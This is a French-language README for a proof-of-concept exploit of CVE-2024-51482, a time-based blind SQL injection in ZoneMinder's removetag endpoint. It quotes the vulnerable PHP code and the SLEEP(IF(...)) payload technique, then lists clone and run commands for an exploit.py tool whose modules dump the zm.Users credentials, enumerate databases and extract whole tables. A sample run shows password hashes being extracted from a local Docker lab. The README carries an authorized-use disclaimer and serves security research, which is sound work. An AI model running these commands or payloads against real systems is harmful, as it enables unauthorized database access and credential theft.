
PoC d'injection SQL basée sur le temps pour CVE-2024-51482 dans ZoneMinder, avec laboratoire Docker reproductible et extraction automatisée de données.
⚠️ À des fins éducatives et de recherche en sécurité autorisée uniquement. Exécuter cet outil contre des systèmes dont vous n'êtes pas propriétaire ou sans autorisation écrite est illégal.
Ce dépôt contient un PoC d'injection SQL basée sur le temps ciblant ZoneMinder.
L'outil permet :
Il inclut également un laboratoire Docker entièrement reproductible pour des tests sécurisés.
ZoneMinder est un logiciel libre et open source de vidéosurveillance. La vulnérabilité provient d'une validation d'entrée insuffisante dans le point de terminaison removetag de ZoneMinder. L'entrée fournie par l'utilisateur est directement incorporée dans les requêtes SQL sans assainissement ni paramétrage approprié, permettant aux attaquants d'injecter des charges utiles SQL basées sur des booléens malveillantes. L'exploitation utilise :
SLEEP(x - IF(condition, 0, x))
pour déduire les données via le temps de réponse.
Extrait de code vulnérable complet provenant de l'avis du responsable GitHub :
case 'removetag' :
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
if ($rowCount < 1) {
$sql = 'DELETE FROM Tags WHERE Id = ?';
$values = array($_REQUEST['tid']);
$response = dbNumRows($sql, $values);
ajaxResponse(array('response'=>$response));
}
Attaquant Application Web ZoneMinder
│ │
│ [Auth] │
│ POST /zm/index.php │
│ {username, password} │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ 200 OK + Set-Cookie: ZMSESSID=... │ ← session authentifiée
│ │
│ [CVE-2024-51482] │
│ GET /zm/index.php │
│ ?view=request&request=event │
│ &action=removetag&tid=<payload> │
│────────────────────────────────────────►│
│ Requête SQL booléenne exécutée
│ IF(condition, pas de délai, SLEEP)
│◄────────────────────────────────────────│
│ Réponse retardée (oracle temporel) │ ← condition déduite
│ │
│ Requêtes répétées │
│ ASCII(SUBSTRING(query,pos,1)) │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Différences de temps révèlent les caractères │
│ │
│ Recherche binaire par caractère │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Données extraites (1 caractère à la fois) │
│ │
│ SELECT Username, Password FROM Users │
│────────────────────────────────────────►│
│◄────────────────────────────────────────│
│ Divulgation complète de la base de données │
│ │
✓ Exfiltration complète des données via SQLi aveugle
CVE-2024-51482/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
├── .env.example
├── docker/
│ ├── Dockerfile
│ └── entrypoint.sh
└── logs/
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configurer les variables d'environnement
docker compose up -d
Sans aucun drapeau, l'outil s'authentifie auprès de la cible, vérifie sa vulnérabilité, et si vulnérable, vide les colonnes ID, Username, Password, Name et Email de la table zm.Users (commande dump-users).
python exploit.py -t http://target/zm -u <username> -p <password>
python exploit.py -h
Vérifie uniquement si la cible est vulnérable.
python exploit.py -t http://target/zm -u <username> -p <password> check
Vide les colonnes ID, Username, Password, Name et Email de la table zm.Users. Commande par défaut si aucune n'est spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> dump-users
Liste toutes les bases de données.
python exploit.py -t http://target/zm -u <username> -p <password> list-db
Liste les tables d'une base de données spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> list-tables --db <database>
Liste les colonnes d'une table spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> list-columns --db <database> --table <table>
Vide toutes les données d'une table spécifiée.
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table>
Vous pouvez également spécifier les colonnes à vider (par défaut toutes) :
python exploit.py -t http://target/zm -u <username> -p <password> dump-table --db <database> --table <table> --columns col1,col2
--no-display
Si le fichier n'existe pas, il sera créé. S'il existe déjà, les nouveaux résultats seront ajoutés.
--outfile results.csv
| Drapeau | Description | Exemple |
|---|---|---|
-t, --target | URL de base de la cible | -t http://localhost:8080 |
-u, --user | Nom d'utilisateur pour l'authentification | -u admin |
-p, --password | Mot de passe pour l'authentification | -p admin |
--cookie | Utiliser un cookie ZMSESSID existant au lieu de se connecter | --cookie abc123... |
| Commande | Description | Exemple |
|---|---|---|
check | Tester si la cible est vulnérable (SQLi temporel) | check |
dump-users | Vider directement la table zm.Users | dump-users |
list-db | Lister toutes les bases de données | list-db |
list-tables | Lister les tables d'une base de données | list-tables --db zm |
list-columns | Lister les colonnes d'une table | list-columns --db zm --table Users |
dump-table | Vider une table spécifique | dump-table --db zm --table Users |
| Drapeau | Description | Requis | Exemple |
|---|---|---|---|
--db | Nom de la base de données | Oui (pour opérations sur table/colonne) | --db zm |
--table | Nom de la table | Oui (pour colonne/vidage) | --table Users |
--columns | Liste séparée par des virgules des colonnes à vider | Optionnel | --columns Username,Password |
| Drapeau | Description | Défaut | Exemple |
|---|---|---|---|
--threads | Nombre de threads d'extraction simultanés | 5 | --threads 6 |
--delay | Délai utilisé pour l'injection SQL temporelle | 3 | --delay 2 |
--no-check | Ignorer la vérification de vulnérabilité avant exploitation | False | --no-check |
| Drapeau | Description | Exemple |
|---|---|---|
--outfile | Enregistrer la sortie dans un fichier CSV | --outfile results.csv |
--no-display | Désactiver l'affichage terminal | --no-display |
| Drapeau | Description | Défaut | Exemple |
|---|---|---|---|
-v, --verbose | Activer la journalisation de débogage | False | -v |
--log-file | Chemin du fichier journal | logs/exploit.log | --log-file out.log |
--no-color | Désactiver la sortie colorée | False | --no-color |
python3 exploit.py \
-t http://localhost:8080 \
-u admin -p admin \
dump-table \
--db zm \
--table Users \
--columns Username,Password \
--threads 6 \
--delay 2 \
--outfile dump.csv
dump-users est un raccourci pour vider la table zm.Users.--no-check uniquement si vous êtes sûr que la cible est vulnérable.Le fichier docker-compose.yml inclus configure une instance vulnérable de ZoneMinder.
cp .env.example .env # Configurer les variables d'environnement
docker compose up -d
Accédez à l'interface web à l'adresse http://localhost:8080/ (ou votre port personnalisé). Les identifiants par défaut sont admin:admin. Vous pouvez ensuite exécuter l'exploit contre cette instance locale pour des tests.
$ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password
_________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________
\_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \
/ \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/
\ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \
\______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \
\/ \/ \/ \/ \/ |__| \/ |__| \/ \/
[∗] URL cible : http://localhost:8080/
[∗] Module : dump-table
[∗] La sortie sera enregistrée dans : ./out.csv
[∗] Tentative de connexion avec authentification nom d'utilisateur/mot de passe
🡲 Identifiants : admin:admin
[+] Authentification réussie en tant qu'utilisateur admin
[∗] Test de vulnérabilité de la cible...
[+] La cible semble vulnérable (le temps de réponse indique une injection réussie).
[∗] Vidage du contenu de la table zm.Users...
[+] Colonnes trouvées : Username, Password
[∗] Récupération du nombre de lignes dans la table...
[+] La table contient 2 lignes. Début du vidage...
[∗] Progression : 5/5 | admin
[∗] Progression : 60/60 | $2h$12$NHZs...
[+] Ligne 1 récupérée : admin, $2h$12$NHZs...
[∗] Progression : 4/4 | flag
[∗] Progression : 60/60 | $2y$10$1Ei....
[+] Ligne 2 récupérée : flag, $2y$10$1Ei....
+----------+----------------+
| Username | Password |
+----------+----------------+
| admin | $2h$12$NHZs... |
| flag | $2y$10$1Ei.... |
+----------+----------------+
[+] Résultats écrits dans ./out.csv
[+] Travail terminé. Au revoir !